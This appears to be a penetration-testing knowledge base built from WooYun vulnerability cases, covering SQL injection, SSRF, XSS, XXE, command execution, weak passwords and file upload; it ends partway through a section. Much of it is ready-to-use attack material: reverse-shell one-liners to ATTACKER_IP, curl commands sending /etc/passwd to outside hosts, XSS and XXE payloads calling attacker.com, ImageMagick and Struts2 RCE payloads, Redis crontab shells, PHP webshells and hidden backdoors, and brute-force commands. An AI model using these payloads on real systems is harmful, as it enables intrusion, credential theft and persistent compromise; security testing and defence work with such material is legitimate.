• Array parameter abuse: gids[100][0]=) AND (subquery)#
• Numeric context: Unquoted integer parameters skip string-based filters

Quick Test Vectors

1. id=1'                              (error detection)
2. id=1 AND 1=1 / id=1 AND 1=2       (boolean blind)
3. id=1' OR '1'='1                    (auth bypass)
4. id=1 AND SLEEP(5)                  (time blind MySQL)
5. id=1'; WAITFOR DELAY '0:0:5'--    (time blind MSSQL)
6. id=1 UNION SELECT NULL,NULL,NULL-- (column enumeration)
7. id=1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- (error-based)

High-Value Targets

• Login forms: username parameter with stacked queries
• Search functions: keyword/s parameters with UNION injection
• Content pages: id/typeid in article/news detail pages
• API endpoints: action parameters in .do/.action handlers
• ASP.NET apps: __EVENTVALIDATION and viewstate parameters

Database Distribution

SSRF Testing Checklist

Derived from ~40 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Common Attack Patterns

1. Internal network scanning via Weblogic UDDI Explorer (most common)

• /uddiexplorer/SearchPublicRegistries.jsp (CVE-2014-4210)

2. URL proxy/fetch endpoints with no domain restriction 3. Image proxy SSRF -- thumbnail generators that fetch arbitrary URLs 4. Transcoding service SSRF -- web page conversion services 5. Webhook/callback SSRF -- user-supplied callback URLs 6. File processing SSRF -- XML/document parsers fetching external resources

Bypass Techniques

• IP representations: 127.0.0.1 → 0x7f000001, 2130706433, 0177.0.0.1
• DNS rebinding: Domain that resolves to internal IP
• URL encoding: %31%32%37%2e%30%2e%30%2e%31
• Redirect chain: External URL that 302-redirects to internal address
• IPv6: [::1], [::ffff:127.0.0.1]
• URL parser differences: http://evil.com#@internal.host
• Protocol smuggling: gopher://, dict://, file://
• Partial domain match bypass: internal.company.com.evil.com

Quick Test Vectors

# Basic internal network probe
http://127.0.0.1
http://localhost
http://[::1]
http://0x7f000001

# Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/

# Common internal services
http://INTERNAL_IP:8080  (Tomcat)
http://INTERNAL_IP:6379  (Redis)
http://INTERNAL_IP:27017 (MongoDB)
http://INTERNAL_IP:3306  (MySQL)
http://INTERNAL_IP:9200  (Elasticsearch)
http://INTERNAL_IP:11211 (Memcached)

# Weblogic SSRF (CVE-2014-4210)
/uddiexplorer/SearchPublicRegistries.jsp
  ?operator=http://INTERNAL_IP:PORT
  &rdoSearch=name&txtSearchname=sdf
  &txtSearchkey=&txtSearchfor=
  &selfor=Business+location
  &btnSubmit=Search

# Protocol smuggling
gopher://internal:6379/_INFO
dict://internal:6379/INFO

Testing Methodology

1. Identify all endpoints that accept URLs or fetch remote resources 2. Test with http://127.0.0.1 and known internal IP ranges 3. Observe response differences (timing, content, error messages) 4. Use time-based detection: compare response time for open vs closed ports 5. Test alternative IP representations and protocols 6. Check for Weblogic UDDI Explorer on Java applications 7. Probe for cloud metadata services 8. Test redirect-based bypasses if direct internal URLs are blocked

Port Detection via Response Analysis

High-Value Internal Targets

• Redis (6379) -- can write webshell via CONFIG SET dir
• MongoDB (27017) -- often no auth, full DB access
• Memcached (11211) -- dump cached session data
• Elasticsearch (9200) -- search index data exposure
• Cloud metadata (169.254.169.254) -- IAM credentials
• Internal admin panels (8080, 8443, 9090)

Common Root Causes

• URL fetch functions with no domain/IP allowlist
• Weblogic UDDI Explorer exposed to internet
• Image proxy services without input validation
• Incomplete blocklist (blocks 127.0.0.1 but not 0x7f000001)
• No restriction on URL protocol scheme

Unauthorized Access Testing Checklist

Derived from ~55 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Common Attack Patterns (by frequency)

1. Horizontal privilege escalation (IDOR) -- Change user ID to access other accounts 2. Authentication bypass -- Direct URL access to admin pages 3. Unauthenticated service access -- Redis, MongoDB, Memcached exposed without auth 4. Vertical privilege escalation -- Regular user accessing admin functions 5. Cookie/session manipulation -- Forged or replayed authentication tokens 6. Sandbox escape -- Kiosk/terminal breakout via UI interaction

Unauthenticated Service Exposure

Bypass Techniques

• Direct URL access: Skip login page, navigate directly to admin endpoints
• Cookie manipulation: Set isAdmin=1 or modify role in JWT
• Parameter injection: Add &admin=true or &role=admin
• HTTP method switching: Try PUT/DELETE when GET/POST is blocked
• Path traversal to admin: /admin/../admin/ or /./admin/
• Request header spoofing: X-Forwarded-For: 127.0.0.1 for IP allowlists
• SQL injection in login: ' OR 1=1-- in username/password fields
• Default credentials: admin/admin, weblogic/weblogic, root/root

Quick Test Vectors

# Direct admin access
/admin/
/manager/
/console/
/system/
/management/

# Service probing
redis-cli -h TARGET -p 6379 INFO
mongo TARGET:27017
curl http://TARGET:9200/_cat/indices

# IDOR testing
GET /api/user/profile?id=1001  (own)
GET /api/user/profile?id=1002  (other)
GET /api/user/profile?id=1     (admin)

# Authentication bypass
# Remove session cookie and access protected endpoints
# Modify user role in cookie/JWT
# Access API endpoints directly without authentication

Testing Methodology

1. Enumerate all endpoints and map authentication requirements 2. Access each endpoint without authentication 3. Test IDOR by modifying user/resource IDs in requests 4. Scan for exposed database/infrastructure services 5. Try default credentials on admin panels and services 6. Test cookie/token manipulation for privilege escalation 7. Check if API endpoints enforce same auth as web UI 8. Verify that role checks are server-side, not client-side

Common Root Causes

• Missing authentication middleware on admin routes
• Authorization checks in frontend JavaScript only
• Database services bound to 0.0.0.0 without authentication
• Sequential predictable IDs without ownership verification
• Session/role stored in client-modifiable cookie
• Default credentials left unchanged after deployment
• IP-based access control that trusts proxy headers

Weak Password Testing Checklist

Derived from ~75 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Most Common Default Credentials

Common Attack Patterns (by frequency)

1. Admin panel weak password (most common)

• CMS/OA systems with default admin/123456
• No account lockout after failed attempts

2. Service weak password

• WebLogic, JBoss, Tomcat management consoles
• Database services (MySQL, MSSQL, Oracle)
• Monitoring platforms (Zabbix, PRTG, Nagios)

3. Infrastructure weak password

• SSH/Telnet with default credentials
• Router/switch admin interfaces
• IPMI/BMC management (e.g., Huawei Tecal)

4. Password → Shell escalation chain

• WebLogic console → Deploy WAR → Webshell
• Tomcat manager → Deploy WAR → Code execution
• JBoss JMXInvokerServlet → Remote code execution
• Database access → OS command via xp_cmdshell/UDF

High-Value Weak Password Targets

Quick Test Vectors

# Top password list for Chinese web applications
admin
123456
admin123
000000
password
12345678
test
888888
666666
abc123
admin888
qwerty

# Username enumeration
admin, administrator, root, test, guest
manager, system, sysadmin, operator
[company-name], [domain-prefix]

# Service-specific brute force
hydra -l admin -P passwords.txt TARGET http-post-form
hydra -l root -P passwords.txt TARGET ssh
hydra -l sa -P passwords.txt TARGET mssql

Post-Authentication Escalation

1. WebLogic → Deploy WAR package → Webshell 2. Tomcat → Manager app → Deploy WAR → Shell 3. JBoss → JMXInvokerServlet → Remote execution 4. phpMyAdmin → SELECT INTO OUTFILE → Webshell 5. Database → Read config files → Internal credentials 6. OA System → Internal documents → VPN credentials 7. Email → Password reset → Other system access

Testing Methodology

1. Enumerate admin panel and service login pages 2. Test default credentials for identified services 3. Attempt common username/password combinations 4. Check for account lockout policies 5. Test rate limiting on login endpoints 6. Verify password complexity requirements 7. Check for credential reuse across services 8. Test post-authentication escalation paths

Common Root Causes

• Default credentials never changed after installation
• No password complexity policy enforcement
• No account lockout or rate limiting
• Management consoles exposed to internet
• Same password reused across multiple services
• Development/test accounts left in production

XSS Testing Checklist

Derived from 46 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

XSS Type Distribution

Common Attack Vectors (by frequency)

1. Stored XSS via User Input Fields

• Forum posts / comments: Most common stored XSS entry point
• Profile fields: Username, bio, personal description
• Blog content: Post titles and body content
• Mobile app submissions: WAP pages with weaker filtering than PC
• Forwarded content: Social sharing features re-rendering HTML

2. Reflected XSS via URL Parameters

• Search boxes and keyword parameters
• Error pages reflecting user input
• Redirect URL parameters
• Image/resource URL parameters

3. Flash-Based XSS

• SWF files with allowscriptaccess="always"
• Flash embed tags loading external SWF files
• ExternalInterface.call() in ActionScript

Payload Catalog

Basic Detection

"><script>alert(1)</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>

Filter Bypass Payloads

<img src=# onerror=alert(/wooyun/)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
" onfocus="alert(1)" autofocus="
" onmouseout=javascript:alert(document.cookie)>
<iframe src=javascript:alert(1)>

Encoded Payloads

<img/src=1 onerror=(function(){window.s=document.
  createElement(String.fromCharCode(115,99,114,105,
  112,116));window.s.src=String.fromCharCode(104,116,
  116,112,...);document.body.appendChild(window.s)})()>

External Script Loading

<script src=//attacker.com/xss.js></script>
"><script src=//short.example/xxxxx></script>

Bypass Techniques

• Tag alternatives: Use <img>, <select>, <textarea>, <svg> when <script> is filtered
• Event handlers: onfocus, onerror, onmouseout, onload as alternatives to inline script
• Autofocus trick: <input autofocus onfocus=alert(1)> triggers without user interaction
• HTML5 features: New tags and event handlers bypass legacy filters
• Flash embed: allowscriptaccess=always enables JS execution from SWF
• Case variation and encoding: Mix case, use HTML entities, URL encoding
• DOM context escape: Close existing tags with "> before injecting

Quick Test Vectors

1. "><script>alert(1)</script>           (basic reflected)
2. <img src=x onerror=alert(1)>          (tag alternative)
3. " autofocus onfocus="alert(1)         (attribute injection)
4. <svg/onload=alert(1)>                 (SVG context)
5. javascript:alert(1)                   (URL context)
6. </script><script>alert(1)</script>    (script context escape)

High-Value Targets

• Comment/review systems: Stored XSS reaching admin panels
• User profile pages: Username/bio fields rendered on public pages
• Search results pages: Reflected XSS via keyword parameters
• Mobile/WAP versions: Often weaker filtering than desktop
• Social sharing features: Content re-rendered across contexts
• Admin panels via blind XSS: Input fields reviewed by admins

XXE (XML External Entity) Testing Checklist

Derived from 25 real-world vulnerability cases (WooYun 2010-2016)

Entry Points to Test

Vulnerability Types Observed

Common Attack Payloads

1. Basic File Read (Direct XXE)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

2. Blind XXE with External DTD (OOB)

Malicious DTD hosted on attacker server:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM
  'http://attacker.com/?data=%file;'>">
%eval;
%send;

Injection payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
]>

3. Directory Listing via Gopher/File Protocol

<!ENTITY % a SYSTEM "file:///">
<!ENTITY % b "<!ENTITY &#37; c SYSTEM
  'gopher://attacker.com:80/%a;'>">
%b;
%c;

4. SSRF via XXE (Port Scanning)

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:22/">
]>
<root>&xxe;</root>

Response time indicates port state: slow = open, fast = closed.

5. DOCX-Based XXE

Decompress .docx, inject entity in word/document.xml:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- Reference &xxe; within document body -->

Common Vulnerable Endpoints

/services/ServiceName?wsdl          (Axis2/CXF SOAP)
/webservice/services/xxx            (Java web services)
/live800/services/IVerification     (Customer service platforms)
/opes/preview.do                    (Document preview)
/?wsdl                              (WSDL discovery)
/xmlrpc.php                         (XML-RPC)

Bypass Techniques

• Protocol alternatives: When file:// is blocked, try gopher://, php://, data://
• Parameter entities: Use %entity; instead of &entity; for blind XXE
• Encoding tricks: UTF-7, UTF-16 encoding to bypass XML filters
• DOCX/XLSX containers: Embed XXE in Office XML documents
• Content-Type override: Set Content-Type: application/xml on SOAP endpoints

Quick Test Vectors

1. Add DOCTYPE with external entity to any XML input
2. Upload crafted DOCX with XXE in word/document.xml
3. Test WSDL endpoints with XML entity injection
4. Use Blind XXE with OOB DTD when no direct response
5. Test SSRF via entity pointing to internal services
6. Check for simplexml_load_string() in PHP (WeChat APIs)

Affected Technologies

Root Causes

Remediation Verification

When verifying fixes, confirm:

• External entity processing is disabled in XML parser
• DTD processing is disabled or restricted
• LIBXML_NOENT flag is NOT used (PHP)
• DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) (Java)

Command Execution Vulnerability Analysis Methodology

Distilled from 6,826 cases | Data source: WooYun Vulnerability Database (2010-2016)

Table of Contents

• 1. Command Execution Entry Point Classification
• 2. Command Concatenation Operators
• 3. Filter Bypass Techniques
• 4. Blind (No Output) Detection Methods
• 5. Common Vulnerable Frameworks/CMS
• 6. Practical Payload Collection
• 7. Defense Recommendations
• 8. Detection Methodology
• 9. Case Reference Index
• 10. PHP Command Execution Meta-Analysis

---

1. Command Execution Entry Point Classification

1.1 Statistical Overview

1.2 High-Frequency Entry Points Detailed

1.2.1 ImageMagick Command Execution (CVE-2016-3714)

Vulnerability Mechanism: When ImageMagick processes images, the delegate.xml configuration file contains injection points in its commands

Typical POC:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image"|bash -i >& /dev/tcp/ATTACKER_IP/8080 0>&1 &")'
pop graphic-context

Alternative Format:

push graphic-context
viewbox 0 0 640 480
image copy 200,200 100,100 "|bash -i >& /dev/tcp/ATTACKER_IP/53 0>&1"
pop graphic-context

Real-World Cases:

• WooYun-2016-0205171: Avatar upload on a major social network, directly obtained root shell
• WooYun-2016-0214726: A social media platform, patch bypass
• WooYun-2016-0205815: A mobile app avatar upload

Exploitation Conditions: 1. Website uses ImageMagick to process user-uploaded images 2. Version < 6.9.3-10 or 7.x < 7.0.1-1

---

1.2.2 FFmpeg SSRF/File Read

Vulnerability Mechanism: When FFmpeg processes HLS playlists, the concat protocol can be used to read local files or initiate SSRF

Typical POC:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:https://example.com/payload
#EXT-X-ENDLIST

File Read POC:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
concat:file:///etc/passwd
#EXT-X-ENDLIST

Real-World Cases:

• WooYun-2016-0205709: Upload endpoint on a video sharing platform

---

1.2.3 Struts2 OGNL Expression Injection

Vulnerability Mechanism: Struts2 framework improperly handles user-supplied OGNL expressions

S2-045 POC:

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',123*123)}.multipart/form-data

S2-016/S2-013 redirect/action POC:

redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23out%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23out.getWriter().println('dbapp%3A'+new java.lang.String(%23e)),%23out.getWriter().flush(),%23out.getWriter().close()}

Generic Command Execution Expression:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

Real-World Cases:

• WooYun-2015-0122286: A gaming company, Expression language injection
• WooYun-2014-087017: A major video portal, Struts command execution
• WooYun-2015-0164662: A government health system

---

1.2.4 Java Deserialization (WebLogic/JBoss/Jenkins)

Vulnerability Mechanism: Maliciously crafted object chains execute during Java deserialization

WebLogic T3 Protocol Exploitation:

java -jar ysoserial.jar CommonsCollections1 "whoami" | nc target 7001

JBoss JMX-Console Exploitation:

# Access /jmx-console to upload WAR packages
# Default credentials: admin/admin
http://target:8080/jmx-console/

Real-World Cases:

• WooYun-2015-0166055: A major energy corporation, WebLogic root privileges
• WooYun-2015-0163942: An insurance company, WebLogic
• WooYun-2015-0144418: A telecom provider, JBoss

---

1.2.5 ElasticSearch Groovy Script Execution

Vulnerability Mechanism: ElasticSearch 1.x versions have dynamic script execution enabled by default

POC:

POST /_search?pretty HTTP/1.1
Host: target:9200
Content-Type: application/json

{
  "script_fields": {
    "exp": {
      "script": "java.lang.Runtime.getRuntime().exec('id')"
    }
  }
}

Groovy Sandbox Bypass:

{
  "size": 1,
  "script_fields": {
    "lupin": {
      "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"
    }
  }
}

Real-World Cases:

• WooYun-2015-099709: A gaming company, multiple ElasticSearch instances

---

1.2.6 ping Command Injection

Vulnerability Mechanism: User input is directly concatenated into the ping command

Typical Vulnerable PHP Code:

$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

POC:

ip=127.0.0.1;whoami
ip=127.0.0.1|id
ip=127.0.0.1`id`
ip=127.0.0.1$(id)
ip=127.0.0.1%0aid

---

2. Command Concatenation Operators

2.1 Statistical Overview

2.2 Operator Details

2.2.1 Semicolon ;

# Most common; unaffected by previous command result
ping 127.0.0.1; whoami; id

2.2.2 Pipe |

# Previous output feeds into next command
ping 127.0.0.1 | id
# Common variation
ping 127.0.0.1 || id  # Executes next if previous fails

2.2.3 Command Substitution

# Backtick form
ping `whoami`
# $() form
ping $(whoami)

2.2.4 Logical Operators

# && executes next only if previous succeeds
ping 127.0.0.1 && whoami
# || executes next only if previous fails
ping nonexistent.host || whoami

2.2.5 Newline Characters

# URL-encoded newline
ping%0awhoami
ping%0d%0awhoami

---

3. Filter Bypass Techniques

3.1 Statistical Overview

3.2 Space Bypass

3.2.1 ${IFS} Internal Field Separator

cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat${IFS}$9/etc/passwd

3.2.2 Tab Character %09

cat%09/etc/passwd

3.2.3 Redirect Operators <>

cat</etc/passwd
{cat,/etc/passwd}

3.2.4 Brace Expansion

{cat,/etc/passwd}
{ls,-la,/}

3.3 Keyword Bypass

3.3.1 Quote Splitting

c'a't /etc/passwd
c"a"t /etc/passwd
c``at /etc/passwd

3.3.2 Backslash Splitting

c\at /etc/passwd
wh\oami

3.3.3 Variable Concatenation

a=c;b=at;$a$b /etc/passwd

3.3.4 Wildcards

/bin/ca* /etc/passwd
/bin/c?t /etc/passwd
/???/??t /etc/passwd

3.4 cat Command Alternatives

# The following commands can all read file contents
tac /etc/passwd      # Reverse output
head /etc/passwd     # Output beginning
tail /etc/passwd     # Output end
more /etc/passwd     # Paged view
less /etc/passwd     # Paged view
nl /etc/passwd       # Output with line numbers
sort /etc/passwd     # Sorted output
uniq /etc/passwd     # Deduplicated output
od -c /etc/passwd    # Octal output
xxd /etc/passwd      # Hexadecimal output
base64 /etc/passwd   # Base64-encoded output
rev /etc/passwd      # Reversed characters
paste /etc/passwd    # Merge files

3.5 Encoding Bypass

3.5.1 Base64 Encoding

echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
bash -c "$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)"

3.5.2 Hex Encoding

echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")

3.5.3 URL Encoding

cat%20/etc/passwd
cat%09/etc/passwd

3.6 Path Bypass

# Absolute paths
/bin/cat /etc/passwd
/usr/bin/id

# Environment variables
$HOME
$PATH

# Wildcard paths
/???/??t /???/p??s??

---

4. Blind (No Output) Detection Methods

4.1 Statistical Overview

4.2 DNSLog Out-of-Band

Common Platforms:

• ceye.io
• dnslog.example (or similar: Burp Collaborator, interactsh, etc.)
• Burp Collaborator

POC:

# Basic out-of-band
ping `whoami`.xxxxx.ceye.io

# Out-of-band with data
curl http://`whoami`.xxxxx.ceye.io

# Full data exfiltration
curl https://example.com/log?data=`cat /etc/passwd | base64 | tr '\n' '-'`

4.3 HTTP Out-of-Band

curl Method:

# GET request with data
curl https://example.com/log?data=`whoami`
curl https://example.com/log?data=`cat /etc/passwd | base64`

# POST request
curl -X POST -d "data=$(cat /etc/passwd)" https://example.com/collect

wget Method:

wget https://example.com/log?data=`whoami`

4.4 Time Delay Detection

# sleep command
sleep 5

# ping delay
ping -c 5 127.0.0.1

# Conditional delay
if [ $(whoami) = "root" ]; then sleep 5; fi

4.5 File Write Detection

# Write to web directory
echo "<?php phpinfo();?>" > /var/www/html/info.php

# Write to temporary file
id > /tmp/result.txt
cat /tmp/result.txt

# Append write
id >> /var/www/html/log.txt

---

5. Common Vulnerable Frameworks/CMS

5.1 Statistical Overview

5.2 Framework Vulnerability Details

5.2.1 Struts2 Vulnerability Series

5.2.2 WebLogic Deserialization

Affected Versions:

• 10.3.6.0
• 12.1.3.0
• 12.2.1.2
• 12.2.1.3

Vulnerable Port: 7001 (T3 protocol)

Detection Method:

nmap -p 7001 --script=weblogic-t3-info target

5.2.3 JBoss Vulnerabilities

Common Vulnerability Entry Points:

• /jmx-console (default admin/admin)
• /invoker/JMXInvokerServlet
• /invoker/EJBInvokerServlet

Exploitation Methods: 1. Upload WAR packages to deploy webshells 2. Deserialization-based command execution

5.2.4 Redis Unauthorized Access

Exploitation Conditions:

• Redis has no password set
• Redis port (6379) is accessible

Write SSH Public Key:

redis-cli -h target
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAA...\n\n"
save

Write Crontab:

config set dir /var/spool/cron
config set dbfilename root
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n"
save

---

6. Practical Payload Collection

6.1 Reverse Shell

Bash

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

nc -e /bin/sh ATTACKER_IP PORT
nc ATTACKER_IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f

6.2 Write Webshell

PHP One-Liner Webshell

echo '<?php @eval($_POST["pass"]);?>' > /var/www/html/shell.php

JSP Webshell

echo '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > shell.jsp

6.3 Information Gathering

# System information
uname -a
cat /etc/issue
cat /etc/*-release

# User information
id
whoami
cat /etc/passwd
cat /etc/shadow

# Network information
ifconfig
ip addr
netstat -antlp
ss -antlp

# Process information
ps aux
ps -ef

# Scheduled tasks
crontab -l
cat /etc/crontab
ls -la /etc/cron.*

---

7. Defense Recommendations

7.1 Input Validation

1. Allowlist validation: Only permit specific characters (e.g., IP addresses only allow digits and dots) 2. Type validation: Ensure input matches the expected data type 3. Length restriction: Limit input length to prevent injection

7.2 Command Execution Protection

1. Avoid direct execution: Use language built-in functions instead of system commands 2. Parameterized execution: Use array arguments instead of string concatenation 3. Escape special characters: escapeshellarg() / escapeshellcmd()

PHP Secure Example:

// Dangerous approach
system("ping " . $_GET['ip']);

// Safer approach
$ip = escapeshellarg($_GET['ip']);
system("ping " . $ip);

// Safest: allowlist validation
if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
    system("ping " . escapeshellarg($_GET['ip']));
}

7.3 Framework/Component Updates

1. Promptly update Struts2, WebLogic, and other frameworks 2. Disable unnecessary features (e.g., Struts2 dynamic method invocation) 3. Configure security policies (e.g., disable scripting in ElasticSearch)

7.4 Principle of Least Privilege

1. Run web services with low-privilege users 2. Restrict permissions for command execution users 3. Use chroot/container isolation

---

8. Detection Methodology

8.1 Vulnerability Discovery Flow

1. Identify Entry Points
   - Search features (ping/nslookup)
   - File operations (upload/download/compression)
   - Image processing
   - Framework fingerprinting

2. Determine Execution Environment
   - Linux/Windows
   - Output present or blind
   - Filter rule probing

3. Construct Payloads
   - Basic payload testing
   - Bypass technique combinations
   - Out-of-band data verification

4. Validate Exploitation
   - Information gathering
   - Reverse shell
   - Persistence

8.2 Automated Detection Key Points

1. Identify frameworks: Struts2 (.action/.do), ThinkPHP, Spring, etc. 2. Parameter testing: All user-controllable parameters should be tested 3. Time-based blind injection: Use sleep to verify when no output is available 4. Out-of-band verification: Confirm execution via DNSLog/HTTP requests

---

9. Case Reference Index

---

Last updated: Based on WooYun vulnerability database analysis

Analysis tools: Python + JSON parsing

Sample size: 6,826 command execution vulnerabilities, in-depth analysis of 50 high-quality cases

---

10. PHP Command Execution Meta-Analysis

Distilled from WooYun PHP command execution cases. Focus: WooYun-specific patterns and frequencies.

10.1 Dangerous Function Taxonomy

Functions observed across WooYun PHP command execution cases, ranked by frequency:

Exploit chain complexity observed in WooYun cases:

10.2 WooYun Case: eval() Direct Execution

WooYun-2015-0116254 - A CMS system command execution via eval():

// Vulnerable code (simulated from case)
public function executeCode() {
    $code = $_POST['code'];
    eval($code);  // No sanitization
}

// Exploitation
POST /index.php?m=Index&a=executeCode
code=system('whoami');

// Persistence
code=file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[x]);?>');

Root cause: POST parameter flows directly to eval() with no intermediate sanitization. Method name (executeCode) itself hints at the functionality.

10.3 Persistence Techniques (WooYun-Specific)

These techniques appeared repeatedly in WooYun cases for maintaining access:

chr()-encoded webshells (bypasses keyword detection):

$func = 'file_' . 'put_' . 'contents';
$file = '/var/www/html/.config.php';
$data = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); // <?php
$func($file,$data);

.htaccess backdoor:

file_put_contents('/var/www/html/.htaccess','ErrorDocument 404 "/eval.php"');

Auto-include variant:

file_put_contents('/var/www/html/index.php','<?php include(".config.jpg");?>');
file_put_contents('/var/www/html/.config.jpg','<?php @eval($_POST[x]);?>');

10.4 disable_functions Bypass (Summary)

Multiple WooYun cases demonstrated bypass of PHP disable_functions. Common techniques observed (briefly -- these are well-documented elsewhere):

10.5 WAF Bypass Patterns from WooYun Cases

Encoding obfuscation seen in cases:

10.6 Common Vulnerability Locations

From WooYun case analysis:

---

Knowledge Base Update Log

- 2026-01-23: Added PHP Command Execution Meta-Analysis Methodology (Section 10)

- Based on case: WooYun-2015-0116254 (eval() direct execution)

- New content: Dangerous function classification matrix, complete test payloads, disable_functions bypass techniques

- Risk level: Critical (can obtain complete server control)

File Upload Vulnerability Analysis Methodology

Distilled from 2,711 cases | Data source: WooYun Vulnerability Database (2010-2016)

Contents: 1. Core Attack Model | 2. Upload Point Identification | 3. Detection Bypass | 4. Parsing Vulnerabilities | 5. Webshell Techniques | 6. Vulnerable CMS/Frameworks | 7. Path Retrieval | 8. Defense Bypass Framework | 9. Key Insights | 10. Practical Checklist | 11. Validation Defect Analysis | 12. File Header Bypass Techniques | 13. Webshell Upload Locations | 14. Real-World Case Analysis

---

1. Core Attack Model

+-------------------------------------------------------------------------+
|                     File Upload Vulnerability Attack Chain               |
+-------------------------------------------------------------------------+
| Upload Point Discovery -> Detection Bypass -> Path Retrieval ->         |
| Parsing Exploitation -> Webshell Execution -> Post-Exploitation         |
+-------------------------------------------------------------------------+

Attack Success Rate Core Formula

Success Rate = P(Bypass Detection) x P(Obtain Path) x P(Parse & Execute)

Key Insight: Most defenses focus solely on "bypass detection," neglecting path leakage and parsing configuration issues.

---

2. Upload Point Identification Matrix

2.1 Rich Text Editor Vulnerability Distribution

+------------------------------------------------------------+
|        Editor Vulnerability Share (Based on 50 Cases)      |
+------------------------------------------------------------+
|  FCKeditor    ========================  48%                |
|  eWebEditor   ==============  28%                          |
|  UEditor      ======  12%                                  |
|  KindEditor   ====  8%                                     |
|  Other        ==  4%                                       |
+------------------------------------------------------------+

2.2 High-Risk Editor Path Quick Reference

---

3. Detection Bypass Methodology

3.1 Detection Types and Bypass Strategy Matrix

3.2 Extension Bypass Details

3.2.1 Blocklist Bypass Techniques

+-------------------------------------------------------------------------+
|                    Extension Bypass Quick Reference                      |
+-------------------------------------------------------------------------+
| Technique         | PHP Environment        | ASP/ASPX Env     | JSP Env |
+-------------------------------------------------------------------------+
| Case Variation    | .Php .pHp .PHP         | .Asp .aSp         | .Jsp .jSp  |
| Double-Write      | .pphphp                | .asaspp           | .jsjspp    |
| Special Extension | .php3 .php5 .phtml     | .asa .cer .cdx    | .jspx .jspa|
| Space/Dot Bypass  | .php .                 | .asp.             | .jsp.      |
| ::$DATA Stream    | N/A                    | .asp::$DATA       | N/A        |
| %00 Truncation    | .php%00.jpg            | .asp%00.jpg       | .jsp%00.jpg|
| Semicolon (IIS)   | N/A                    | .asp;.jpg         | N/A        |
+-------------------------------------------------------------------------+

3.2.2 Real-World Bypass Cases

Case 1: An OA System Null-Byte Truncation Bypass (WooYun-2014-064031)

Original file: shell.jsp
Bypass method: shell.jsp%00.jpg (truncation after URL decoding)
Upload endpoint: /defaultroot/dragpage/upload.jsp

Case 2: HTTP Response Modification Bypass (WooYun-2015-0108457)

Technique: Modify the server-returned allowed types list
Steps:
1. Intercept server Response
2. Modify allowedTypes to include jsp
3. Upload jsp file normally

3.3 Content-Type Bypass

